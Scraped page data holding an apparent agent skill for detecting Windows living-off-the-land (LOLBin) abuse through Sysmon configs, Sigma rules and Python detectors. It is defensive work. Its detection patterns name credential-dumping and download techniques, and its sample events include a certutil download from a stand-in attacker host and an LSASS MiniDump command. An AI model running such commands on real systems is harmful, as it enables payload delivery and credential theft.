[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HE9DRNGSADN591Z1QFFV7F":3,"skill-same:01M6HE9DRNGSADN591Z1QFFV7F":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":6,"ownerHtmlUrl":70,"ownerBlogUrl":6,"ownerDescription":71,"updatedAt":72,"install":73,"resources":86},"01M6HE9DRNGSADN591Z1QFFV7F","detecting-living-off-the-land-attacks",null,"Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-living-off-the-land-attacks\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"land","attacks","detecting","detecting living off the land attacks","analysis","traffic","command-line","de","creation","community","cm","command","suspicious","t1078","fileless-attacks","lotl","threat-detection","server","monitoring","cybersecurity","2026-11-10 10:12:30",false,"---\nname: detecting-living-off-the-land-attacks\ndescription: 'Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.\n\n  '\ndomain: cybersecurity\nsubdomain: threat-detection\ntags:\n- lolbins\n- lotl\n- fileless-attacks\n- process-monitoring\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\n- Client-server Payload Profiling\n- Network Traffic Community Deviation\nnist_csf:\n- DE.CM-01\n- DE.AE-02\n- DE.AE-06\n- ID.RA-05\nmitre_attack:\n- T1078\n- T1190\n- T1059\ncategory: detecting-living-off-the-land-attacks\n---\n# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\nfrom pathlib import Path\n\n# Known LOLBins and their suspicious command-line indicators\nLOLBIN_SIGNATURES = {\n    \"certutil.exe\": {\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n","# Detecting Living Off the Land Attacks\n\nMonitor for suspicious use of legitimate Windows binaries (LOLBins)\nincluding certutil, mshta, rundll32, regsvr32, and others used in\nfileless and living-off-the-land attack techniques.\n\n## When to Use\n\n- Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time\n- Investigating alerts where legitimate system binaries appear in unexpected execution contexts\n- Threat hunting across endpoint telemetry for fileless attack indicators\n- Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage\n- Creating Sysmon configurations tuned to capture LOLBin-related process creation events\n- Responding to incidents where adversaries bypassed AV by using only built-in OS tools\n\n**Do not use** for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.\n\n## Prerequisites\n\n- Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)\n- SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)\n- Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)\n- LOLBAS project reference: https:\u002F\u002Flolbas-project.github.io\u002F\n- Python 3.8+ with `evtx`, `pandas` for offline log analysis\n- Sigma rule repository for cross-platform detection rule authoring\n\n## Workflow\n\n### Step 1: Deploy a LOLBin-Focused Sysmon Configuration\n\nCreate a Sysmon config that captures the process creation and network events needed for LOLBin detection:\n\n```xml\n\u003C!-- File: sysmon-lolbin-detection.xml -->\n\u003CSysmon schemaversion=\"4.90\">\n  \u003CEventFiltering>\n    \u003C!-- Process Creation: capture all LOLBin executions with full command lines -->\n    \u003CRuleGroup name=\"LOLBin Process Creation\" groupRelation=\"or\">\n      \u003CProcessCreate onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">installutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">cmstp.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wmic.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">certreq.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">extrac32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">findstr.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">hh.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">ie4uinit.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mavinject.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msiexec.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">odbcconf.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pcalua.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">presentationhost.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">xwizard.exe\u003C\u002FImage>\n        \u003C!-- PowerShell variants -->\n        \u003CImage condition=\"end with\">powershell.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">pwsh.exe\u003C\u002FImage>\n        \u003C!-- Script hosts -->\n        \u003CImage condition=\"end with\">cscript.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">wscript.exe\u003C\u002FImage>\n      \u003C\u002FProcessCreate>\n    \u003C\u002FRuleGroup>\n\n    \u003C!-- Network connections from LOLBins (highly suspicious) -->\n    \u003CRuleGroup name=\"LOLBin Network\" groupRelation=\"or\">\n      \u003CNetworkConnect onmatch=\"include\">\n        \u003CImage condition=\"end with\">certutil.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">mshta.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">rundll32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">regsvr32.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">msbuild.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">bitsadmin.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">expand.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">esentutl.exe\u003C\u002FImage>\n        \u003CImage condition=\"end with\">replace.exe\u003C\u002FImage>\n      \u003C\u002FNetworkConnect>\n    \u003C\u002FRuleGroup>\n  \u003C\u002FEventFiltering>\n\u003C\u002FSysmon>\n```\n\n```powershell\n# Install or update Sysmon with the LOLBin config\nsysmon64.exe -accepteula -i sysmon-lolbin-detection.xml\n\n# Update existing Sysmon installation\nsysmon64.exe -c sysmon-lolbin-detection.xml\n```\n\n### Step 2: Build Sigma Detection Rules for Key LOLBins\n\nWrite Sigma rules that detect specific abuse patterns, translatable to any SIEM:\n\n```yaml\n# File: sigma\u002Fcertutil_download.yml\ntitle: Certutil Used to Download File\nid: a1b2c3d4-5678-9abc-def0-123456789abc\nstatus: stable\ndescription: >\n  Detects certutil.exe being used to download files from remote URLs,\n  a common LOLBin technique for payload delivery (LOLBAS T1105).\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FCertutil\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1105\u002F\nauthor: Threat Detection Team\ndate: 2026\u002F01\u002F20\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certutil.exe'\n    CommandLine|contains|all:\n      - 'urlcache'\n      - '-f'\n      - 'http'\n  condition: selection\nfalsepositives:\n  - Legitimate certificate enrollment using certutil with URL parameters\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1218\n  - attack.command_and_control\n  - attack.t1105\n```\n\n```yaml\n# File: sigma\u002Fmshta_execution.yml\ntitle: MSHTA Executing Remote or Inline Script\nid: b2c3d4e5-6789-abcd-ef01-234567890bcd\nstatus: stable\ndescription: >\n  Detects mshta.exe executing scripts from URLs or inline VBScript\u002FJavaScript,\n  commonly used for application whitelisting bypass and initial access.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FMshta\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F005\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_remote:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains: 'http'\n  selection_inline:\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - 'vbscript:'\n      - 'javascript:'\n  selection_parent_anomaly:\n    Image|endswith: '\\mshta.exe'\n    ParentImage|endswith:\n      - '\\winword.exe'\n      - '\\excel.exe'\n      - '\\outlook.exe'\n      - '\\powerpnt.exe'\n  condition: selection_remote or selection_inline or selection_parent_anomaly\nfalsepositives:\n  - Legacy HTA-based internal applications\nlevel: high\n```\n\n```yaml\n# File: sigma\u002Fregsvr32_scrobj.yml\ntitle: Regsvr32 Squiblydoo Scriptlet Execution\nid: c3d4e5f6-7890-bcde-f012-345678901cde\nstatus: stable\ndescription: >\n  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,\n  known as the Squiblydoo technique for AppLocker bypass.\nreferences:\n  - https:\u002F\u002Flolbas-project.github.io\u002Flolbas\u002FBinaries\u002FRegsvr32\u002F\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1218\u002F010\u002F\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\regsvr32.exe'\n    CommandLine|contains|all:\n      - 'scrobj.dll'\n      - '\u002Fi:'\n  condition: selection\nfalsepositives:\n  - Legitimate COM scriptlet registration (rare in modern environments)\nlevel: critical\n```\n\n### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns\n\nParse and correlate Sysmon events to identify suspicious LOLBin execution:\n\n```python\nimport json\nimport re\nfrom datetime import datetime, timedelta\nfrom collections import 